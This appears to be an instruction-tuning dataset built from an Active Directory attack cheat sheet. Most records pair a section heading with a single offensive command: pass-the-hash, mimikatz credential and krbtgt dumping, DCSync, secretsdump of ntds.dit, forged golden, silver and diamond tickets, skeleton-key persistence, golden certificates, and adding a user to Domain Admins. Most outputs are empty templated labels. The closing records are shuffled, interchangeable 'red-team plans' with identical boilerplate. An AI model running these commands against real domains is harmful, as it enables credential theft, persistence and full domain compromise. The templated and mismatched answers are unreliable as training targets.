{"instruction": "Clear text Password", "input": "WinRM", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "evil-winrm -i <ip> -u <user> -p <password>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "Enter-PSSession -ComputerName <computer> -Credential <domain>\\<user>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "nxc winrm <ip_range> -u <user> -p <password> -d <domain> -x <cmd>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Clear text Password", "input": "RDP", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "xfreerdp /u:<user> /d:<domain> /p:<password> /v:<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "SMB", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "smbclient.py <domain>/<user>:<password>@<ip>", "output": "SMB client usage to list or access network shares."}
{"instruction": "Clear text Password", "input": "smbclient-ng.py -d <domain> -u <user> -p <password> --host <ip>", "output": "SMB client usage to list or access network shares."}
{"instruction": "Clear text Password", "input": "MSSQL", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "nxc mssql <ip_range> -u <user> -p <password>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Clear text Password", "input": "mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "NT Hash", "input": "Pass the Hash", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "mimikatz \"privilege::debug sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash>\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "NT Hash", "input": "RDP", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "reg.py <domain>/<user>@<ip> -hashes ':<hash>' add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "WinRM", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "evil-winrm -i <ip> -u <user> -H <hash>", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "Overpass the Hash / Pass the key (PTK)", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "Rubeus.exe asktgt /user:victim /rc4:<rc4value>", "output": "Tool or command referenced under 'NT Hash'."}
{"instruction": "NT Hash", "input": "Rubeus.exe ptt /ticket:<ticket>", "output": "Tool or command referenced under 'NT Hash'."}
{"instruction": "NT Hash", "input": "Rubeus.exe createnetonly /program:C:\\Windows\\System32\\[cmd.exe||upnpcont.exe]", "output": "Tool or command referenced under 'NT Hash'."}
{"instruction": "NT Hash", "input": "getTGT.py <domain>/<user> -hashes :<hashes>", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "NT Hash", "input": "getTGT.py <domain>/<user> -hashes :<hashes>", "output": "Note or procedural step under 'NT Hash'."}
{"instruction": "Kerberos", "input": "Pass the Ticket (ccache / kirbi)", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "Convert Format", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "ticketConverter.py <kirbi||ccache> <ccache||kirbi>", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "impacket tools: Same as Pass the hash but use : -k and -no-pass for impacket", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "mimikatz kerberos::ptc \"<ticket>\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Kerberos", "input": "Rubeus.exe ptt /ticket:<ticket>", "output": "Tool or command referenced under 'Kerberos'."}
{"instruction": "Kerberos", "input": "proxychains secretsdump.py -k'<domain>'/'<user>'@'<ip>'", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Kerberos", "input": "Modify SPN", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "tgssub.py -in <ticket.ccache> -out <newticket.ccache> -altservice \"<service>/<target>\" #pr 1256", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "Aeskey", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "impacket tools: Same as Pass the hash but use : -aesKey for impacket (and use FQDN)", "output": "Note or procedural step under 'Kerberos'."}
{"instruction": "Kerberos", "input": "proxychains secretsdump.py -aesKey <key> '<domain>'/'<user>'@'<ip>'", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Socks (relay)", "input": "proxychains lookupsid.py <domain>/<user>@<ip> -no-pass -domain-sids", "output": "Note or procedural step under 'Socks (relay)'."}
{"instruction": "Socks (relay)", "input": "proxychains mssqlclient.py -windows-auth <domain>/<user>@<ip> -no-pass", "output": "Note or procedural step under 'Socks (relay)'."}
{"instruction": "Socks (relay)", "input": "proxychains secretsdump.py -no-pass '<domain>'/'<user>'@'<ip>'", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Socks (relay)", "input": "proxychains smbclient.py -no-pass <user>@<ip>", "output": "SMB client usage to list or access network shares."}
{"instruction": "Socks (relay)", "input": "proxychains atexec.py  -no-pass  <domain>/<user>@<ip> \"command\"", "output": "Note or procedural step under 'Socks (relay)'."}
{"instruction": "Socks (relay)", "input": "proxychains smbexec.py  -no-pass  <domain>/<user>@<ip>", "output": "Note or procedural step under 'Socks (relay)'."}
{"instruction": "Certificate (pfx)", "input": "unpac the hash", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "certipy auth -pfx <crt_file> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "gettgtpkinit.py -cert-pfx <crt.pfx> -pfx-pass <crt_pass> \"<domain>/<dc_name>\" <tgt.ccache>", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "getnthash.py -key '<AS-REP encryption key>' '<domain>'/'<dc_name>'", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "Pass the certificate", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "pkinit", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "gettgtpkinit.py -cert-pfx \"<pfx_file>\" ^[-pfx-pass  \"<cert-password>\"] \"<fqdn_domain>/<user>\" \"<tgt_ccache_file>\"", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "Rubeus.exe asktgt /user:\"<username>\" /certificate:\"<pfx_file>\" [/password:\"<certificate_password>\"] /domain:\"<fqdn-domain>\" /dc:\"<dc>\" /show", "output": "Tool or command referenced under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "certipy auth -pfx <crt_file> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "schannel", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "certipy auth -pfx <pfx_file> -ldap-shell", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "add_computer", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "Set RBCD", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "certipy cert -pfx \"<pfx_file>\" -nokey -out \"user.crt\"", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "certipy cert -pfx \"<pfx_file>\" -nocert -out \"user.key\"", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "Certificate (pfx)", "input": "passthecert.py -action ldap-shell -crt <user.crt> -key <user.key> -domain <domain> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Certificate (pfx)'."}
{"instruction": "MSSQL", "input": "find mssql access", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "nxc mssql <ip> -u <user> -p <password> -d <domain>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "MSSQL", "input": "Users or Computers with SQL admin", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "MATCH p=(u:Base)-[:SQLAdmin]->(c:Computer) RETURN p", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "MSSQL", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "enum_db", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "enable_xp_cmdshell", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "xp_cmdshell <cmd>", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "enum_impersonate", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "exec_as_user <user>", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "exec_as_login <login>", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "xp_dir_tree <ip>", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "COERCE SMB", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "trustlink", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "sp_linkedservers", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "MSSQL", "input": "use_link", "output": "Note or procedural step under 'MSSQL'."}
{"instruction": "Domain Admin", "input": "Dump ntds.dit", "output": "Note or procedural step under 'Domain Admin'."}
{"instruction": "Domain Admin", "input": "nxc smb <dcip> -u <user> -p <password> -d <domain> --ntds", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Domain Admin", "input": "secretsdump.py '<domain>/<user>:<pass>'@<ip>", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Domain Admin", "input": "ntdsutil \"ac i ntds\" \"ifm\" \"create full c:\\temp\" q q", "output": "Note or procedural step under 'Domain Admin'."}
{"instruction": "Domain Admin", "input": "secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Domain Admin", "input": "msf> windows/gather/credentials/domain_hashdump", "output": "Tool or command referenced under 'Domain Admin'."}
{"instruction": "Domain Admin", "input": "mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\\administrator", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Domain Admin", "input": "certsync -u <user> -p '<password>' -d <domain> -dc-ip <dc_ip> -ns <name_server>", "output": "Note or procedural step under 'Domain Admin'."}
{"instruction": "Grab backup Keys", "input": "donpapi collect - H ':<hash>' <domain>/<user>@<ip_range> -t ALL --fetch-pvk #Credentials", "output": "Note or procedural step under 'Grab backup Keys'."}
{"instruction": "Enumeration", "input": "nltest.exe /trusted_domains", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Get-DomainTrust -Domain <domain>", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Get-DomainTrustMapping", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> trusts", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "sharphound.exe -c trusts -d <domain>", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "MATCH p=(:Domain)-[:TrustedBy]->(:Domain) RETURN p", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Get Domains SID", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Get-DomainSID -Domain <domain> Get-DomainSID -Domain <target_domain>", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "lookupsid.py -domain-sids <domain>/<user>:<password>'@<dc> 0 lookupsid.py -domain-sids <domain>/<user>:<password>'@<target_dc> 0", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Child->Parent", "input": "Trust Key", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "mimikatz lsadump::trust /patch", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Child->Parent", "input": "mimikatz kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /aes256:<trust_key_aes256> /sids:<target_domain_sid>-519 /service:krbtgt /target:<target_domain> /ptt", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Child->Parent", "input": "secretsdump.py -just-dc-user '<parent_domain>$'   <domain>/<user>:<password>@<dc_ip>", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Child->Parent", "input": "ticketer.py -nthash <trust_key> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 -spn krbtgt/<parent_domain> trustfakeuser", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "Golden Ticket", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\\krbtgt", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Child->Parent", "input": "mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Child->Parent", "input": "raiseChild.py <child_domain>/<user>:<password>", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "ticketer.py -nthash <child_krbtgt_hash> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 goldenuser", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "Unconstrained delegation", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Child->Parent", "input": "coerce parent_dc on child_dc domain #unconstrained delegation", "output": "Note or procedural step under 'Child->Parent'."}
{"instruction": "Parent->Child", "input": "same as Child to parent", "output": "Note or procedural step under 'Parent->Child'."}
{"instruction": "External Trust", "input": "DomainA <--> DomainB trust (B trust A, A trust B)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "from A to B FOREST_TRANSITIVE", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "password reuse", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "lat move (creds/pth/...)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Foreign group and users", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Users with foreign Domain Group Membership", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "MATCH p=(n:User {domain:\"<DOMAIN.FQDN>\"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Group with foreign Domain Group Membership", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "MATCH p=(n:Group {domain:\"<DOMAIN.FQDN>\"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "SID History on B", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Golden ticket", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\\krbtgt", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "External Trust", "input": "mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID>-<GROUP_SID_SUP_1000> /ptt", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "External Trust", "input": "ticketer.py -nthash <krbtgt> -domain-sid <domain_a> -domain <domain_a> -extra-sid <domain_b_sid>-<group_sid sup 1000> fakeuser", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Trust ticket", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "ADCS abuse", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Unconstrained delegation", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "coerce dc_b on dc_a #Uncontrained Delegation (ADCS)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "from A to B is FOREST_TRANSITIVE|TREAT_AS_EXTERNAL", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "DomainA <-- DomainB trust (B trust A / A access B)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "Same as double trust, but no unconstrained delegation as B can't connect to A", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "DomainA --> DomainB trust (A trust B / B access A)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "External Trust", "input": "password reuse #lat move (creds/pth/...)", "output": "Note or procedural step under 'External Trust'."}
{"instruction": "Mssql links", "input": "MSSQL trusted links doesn't care of trust link", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "Mssql links", "input": "Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance>", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "Mssql links", "input": "mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "Mssql links", "input": "trustlink", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "Mssql links", "input": "sp_linkedservers", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "Mssql links", "input": "use_link", "output": "Note or procedural step under 'Mssql links'."}
{"instruction": "ADD DA", "input": "net group \"domain admins\" myuser /add /domain", "output": "Note or procedural step under 'ADD DA'."}
{"instruction": "Golden Ticket", "input": "ticketer.py -aesKey <aeskey> -domain-sid <domain_sid> -domain <domain> <anyuser>", "output": "Note or procedural step under 'Golden Ticket'."}
{"instruction": "Golden Ticket", "input": "mimikatz \"kerberos::golden /user:<admin_user> /domain:<domain> /sid:<domain-sid>/aes256:<krbtgt_aes256> /ptt\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Silver Ticket", "input": "mimikatz \"kerberos::golden /sid:<current_user_sid> /domain:<domain-sid> /target:<target_server> /service:<target_service> /aes256:<computer_aes256_key> /user:<any_user> /ptt\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Silver Ticket", "input": "ticketer.py -nthash <machine_nt_hash> -domain-sid <domain_sid> -domain <domain> <anyuser>", "output": "Note or procedural step under 'Silver Ticket'."}
{"instruction": "Silver Ticket", "input": "Directory Service Restore Mode (DSRM)\\", "output": "Note or procedural step under 'Silver Ticket'."}
{"instruction": "Silver Ticket", "input": "PowerShell New-ItemProperty \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\\" -Name \"DsrmAdminLogonBehavior\" -Value 2 -PropertyType DWORD", "output": "Note or procedural step under 'Silver Ticket'."}
{"instruction": "Skeleton Key", "input": "mimikatz \"privilege::debug\" \"misc::skeleton\" \"exit\" #password is mimikatz", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Custom SSP", "input": "mimikatz \"privilege::debug\" \"misc::memssp\" \"exit\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Custom SSP", "input": "C:\\Windows\\System32\\kiwissp.log", "output": "Note or procedural step under 'Custom SSP'."}
{"instruction": "Golden certificate", "input": "certipy ca -backup -ca '<ca_name>' -username <user>@<domain> -hashes <hash>", "output": "Note or procedural step under 'Golden certificate'."}
{"instruction": "Golden certificate", "input": "certipy forge -ca-pfx <ca_private_key> -upn <user>@<domain> -subject 'CN=<user>,CN=Users,DC=<CORP>,DC=<LOCAL>", "output": "Note or procedural step under 'Golden certificate'."}
{"instruction": "Diamond ticket", "input": "ticketer.py -request -domain <domain> -user <user> -password <password> -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  -user-id <user_id> -groups '512,513,518,519,520' <anyuser>", "output": "Note or procedural step under 'Diamond ticket'."}
{"instruction": "Saphire Ticket", "input": "ticketer.py -request -impersonate <anyuser> -domain <domain> -user <user> -password <password>  -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  'ignored'", "output": "Note or procedural step under 'Saphire Ticket'."}
{"instruction": "Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Public-facing web app with possible misconfiguration", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
